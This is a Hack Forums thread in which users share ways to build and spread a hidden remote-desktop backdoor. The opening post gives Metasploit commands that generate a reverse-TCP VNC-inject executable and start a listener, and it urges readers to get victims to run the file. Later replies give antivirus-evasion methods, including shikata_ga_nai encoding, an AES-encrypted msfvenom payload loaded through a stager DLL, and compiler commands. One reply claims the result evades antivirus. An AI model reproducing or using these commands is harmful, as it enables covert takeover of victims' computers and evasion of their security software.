

Forum:[Hack Forums](#)

Thread: [Free HVNC tutorial \[for the skids\]](#)

Freak OG - June 13, 2020, 12:34 pm

jesus christ the skids on here are a fucking disgrace sometimes

ok heres how you get free hvnc:

Download metasploit and install from rapid7.com

open msfconsole.bat from C:\metasploit-framework\bin

type:

Code use payload/windows/vncinject/reverse_tcp

set LHOST=<your-ip>

set LPORT=<lisening-port>

generate -f HVNCHax0r.exe

now you have generated ur ultra vnc haxxes executable ?

now to get the HAX u gotta type

Code use exploit/multi/handler

set payload windows/vncinject/reverse_tcp

set LHOST=<your-ip>

set LPORT=<lisening-port>

run -jz

now simply get people to run HVNCHax0r.exe or simply download and execute HVNCHax0r.exe to all of ur slaves

enjoy ?

hopefully this will stop all the "i need free HVNC haxxes for eye pee haxing" threads ?

SUPER SKID NOTE: you need to portforward the port in order for it to connect

Ortek - June 13, 2020, 2:42 pm

(Jun 13, 2020 12:34 PM)FreakyHax Wrote: [\[CITE\]](#) jesus christ the skids on here are a fugging disgrace sometimes

ok heres how you get free hvnc:

Download metasploit and install from rapid7.com

open msfconsole.bat from C:\metasploit-framework\bin

type:

Code use payload/windows/vncinject/reverse_tcp
set LHOST=<your-ip>
set LPORT=<listening-port>
generate -f HVNCHax0r.exe
now you have generated ur ultra vnc haxxes executable ?

now to get the HAX u gotta type
Code use exploit/multi/handler
set payload windows/vncinject/reverse_tcp
set LHOST=<your-ip>
set LPORT=<listening-port>
run -jz
now simply get people to run HVNCHax0r.exe or simply download and execute HVNCHax0r.exe to all of ur slaves

enjoy ?
hopefully this will stop all the "i need free HVNC haxxes for eye pee haxing" threads ?

SUPER SKID NOTE: you need to portforward the port in order for it to connect
You just made my day, im still lmao hahaha
Great job mate, cheers.

3xploit - June 13, 2020, 2:48 pm

I doubt that this will bypass any AV.

Freak_OG - June 13, 2020, 2:51 pm

(Jun 13, 2020 02:48 PM)\$moke Wrote: [\[CITE\]](#) I doubt that this will bypass any AV.
you can bypass AV by specifying generate -f HVNCHax0r.exe -e x86/shikata_ga_nai

and if that doesnt work u can try other encoders.

but srsly why would anyone expect metasploit to bypass and AV. such a thought is even skiddier than this entire thread

3xploit - June 13, 2020, 2:55 pm

(Jun 13, 2020 02:51 PM)FreakyHax Wrote: [\[CITE\]](#) you can bypass AV by specifying generate -f HVNCHax0r.exe -e x86/shikata_ga_nai

and if that doesnt work u can try other encoders.

but srsly why would anyone expect metasploit to bypass and AV. such a thought is even skiddier than this entire thread

Yes, so your post might be helpful for educational purposes, but not for any real operations.

VisualSoft - June 14, 2020, 11:26 am

I doubt noobs will be able to do this, best option is you also post download link to HVNCHax0r.exe

MrHudson185 - June 14, 2020, 7:04 pm

lolz wtf is hidden about plane vnc lolz

0xyg3n - June 17, 2020, 1:03 am

-e x86/shikata_ga_nai is detected also. You may also wish to change the number of iterations (-i 8), using up to 25 should be safe in most situations. @\$moke

VisualSoft - June 17, 2020, 2:13 am

(Jun 17, 2020 01:03 AM)0xyg3n Wrote: [\[CITE\]](#) -e x86/shikata_ga_nai is detected also. You may also wish to change the number of iterations (-i 8), using up to 25 should be safe in most situations.

@\$moke

Cant it be just crypted?

Share that exe with me ever pm, would like to have a look.

0xyg3n - June 17, 2020, 3:55 am

(Jun 17, 2020 02:13 AM)VisualSoft Wrote: [\[CITE\]](#) Cant it be just crypted?

Share that exe with me ever pm, would like to have a look.

Well there are numerous ways to make a fud payload with kali linux, you just have to know the right tools or be good coder in order to do that.

Frankito - June 17, 2020, 10:38 pm

It would be more effective to program your own backdoor.

And if you don't know how to do it, it's better to do nothing.

Sinistros - June 18, 2020, 1:56 am

Hello, this absolutely not a hvnc just look at google and you will see what a real hvnc is. The goal of a hvnc is to create an hidden desktop and control it, this permit to control the victim's computer without know what you do. Hvnc is one of the most difficult malware to make, so you will never find hvnc metasploit module / free hvnc.

mr.dbs - June 19, 2020, 3:23 pm

(Jun 18, 2020 01:56 AM)Sinistros Wrote: [\[CITE\]](#) Hello, this absolutely not a hvnc just look at google and you will see what a real hvnc is. The goal of a hvnc is to create an hidden desktop and control it, this permit to control the victim's computer without know what you do. Hvnc is one of the most difficult malware to make, so you will never find hvnc metasploit module / free hvnc.

free

hxxps://github.com/gigajew/HVNC

VisualSoft - June 19, 2020, 3:43 pm

(Jun 19, 2020 03:23 PM)mr.dbs Wrote: [\[CITE\]](#) free

hxxps://github.com/gigajew/HVNC

Please check yourself what is it before posting!

He is looking for some help over there to get it working

Sinistros - June 20, 2020, 5:32 am

(Jun 19, 2020 03:23 PM)mr.dbs Wrote: [\[CITE\]](#) free

hxxps://github.com/gigajew/HVNC

I don't need hvnc, I'm able to create my own.

sukuchi1953 - June 21, 2020, 7:53 am

You can run a normal vnc on a Desktop 2 in windows 10 hidden from the Desktop 1

Anybody knows the powershell code to do it?

I bet it is just a single line code

Sinistros - June 22, 2020, 6:05 am

(Jun 21, 2020 07:53 AM)sukuchi1953 Wrote: [\[CITE\]](#) You can run a normal vnc on a Desktop 2 in windows 10 hidden from the Desktop 1
Anybody knows the powershell code to do it?
I bet it is just a single line code
Impossible to do like this.

Freak OG - June 22, 2020, 4:17 pm

(Jun 21, 2020 07:53 AM)sukuchi1953 Wrote: [\[CITE\]](#) You can run a normal vnc on a Desktop 2 in windows 10 hidden from the Desktop 1
Anybody knows the powershell code to do it?
I bet it is just a single line code
you could likely use a powershell shellcode one liner for this, but you would need to run shellcode that runs your own exe that u coded.

little off topic tho

Sinistros - June 23, 2020, 4:45 pm

(Jun 22, 2020 04:17 PM)FreakyHax Wrote: [\[CITE\]](#) you could likely use a powershell shellcode one liner for this, but you would need to run shellcode that runs your own exe that u coded.

little off topic tho

What you said have no sense

sukuchi1953 - June 24, 2020, 12:06 am

(Jun 22, 2020 04:17 PM)FreakyHax Wrote: [\[CITE\]](#) you could likely use a powershell shellcode one liner for this, but you would need to run shellcode that runs your own exe that u coded.

little off topic tho

I tried doing that but it does not work.

Microsoft already thought of this vulnerability, so you HVNC the only active working desktop

SIM-4578814 - June 24, 2020, 1:19 am

DownIOAd LiNk? plezeaseeee

Sinistros - June 24, 2020, 9:15 am

(Jun 24, 2020 12:06 AM)sukuchi1953 Wrote: [\[CITE\]](#) I tried doing that but it does not work.
Microsoft already thought of this vulnerability, so you HVNC the only active working desktop
Guys stop giving fake information, it is absolutely not a vulnerability, it is just how Microsoft implement multiple desktop. And if you know a little bit how hvnc works you know that it run under hidden desktop and no on the active desktop.

Aekras1a - June 28, 2020, 3:02 pm

```
`msfvenom -p windows/vncinject/reverse_tcp_rc4_dns EXIT_FUNC=PROCESS LHOST=<Your IP address> LPORT=<Port> RC4PASSWORD=<Random string> --encrypt aes256 --encrypt-iv <Random IV> --encrypt-key <Random Key> -f c -o reverse_vnc.c`  
Then clone github.com/phackt/stager.dll - follow the guide as listed, except inside  
`github.com/phackt/stager.dll/blob/master/stager_exe_32.cpp` swap out the necessary #define  
PAYLOADLENGTH / IV / KEY values, and throw in your generated shellcode.
```

For those using VS command line to compile, here's a template of what I used for the x86 DLL:

```
`cl /LD /MT /EHa /I"C:\Program Files (x86)\Microsoft Visual
```

Studio\2019\Preview\VC\Tools\MSVC\14.25.28508\include" /I"C:\Program Files (x86)\Windows Kits\10\Include\10.0.18362.0\um" /I"C:\Program Files (x86)\Windows Kits\10\Include\10.0.18362.0\shared" stager_dll_x86.cpp aes.cpp /Fe:payload.dll`
Of course swap it out for whatever Windows Kit your using.

I've been finding this evading most AV, sometimes completely FUD with the correct tweaks

mr.dbs - June 29, 2020, 10:13 pm

(Jun 19, 2020 03:43 PM)VisualSoft Wrote: [\[CITE\]](#) Please check yourself what is it before posting!
He is looking for some help over there to get it working
I know what exactly my friend is. This is not a big deal. All you have to do is read the code and understand what is going on.

(Jun 20, 2020 05:32 AM)Sinistros Wrote: [\[CITE\]](#) I don't need hvnc, I'm able to create my own.
Excellent you have learned to build by yourself, and have not read some sources ?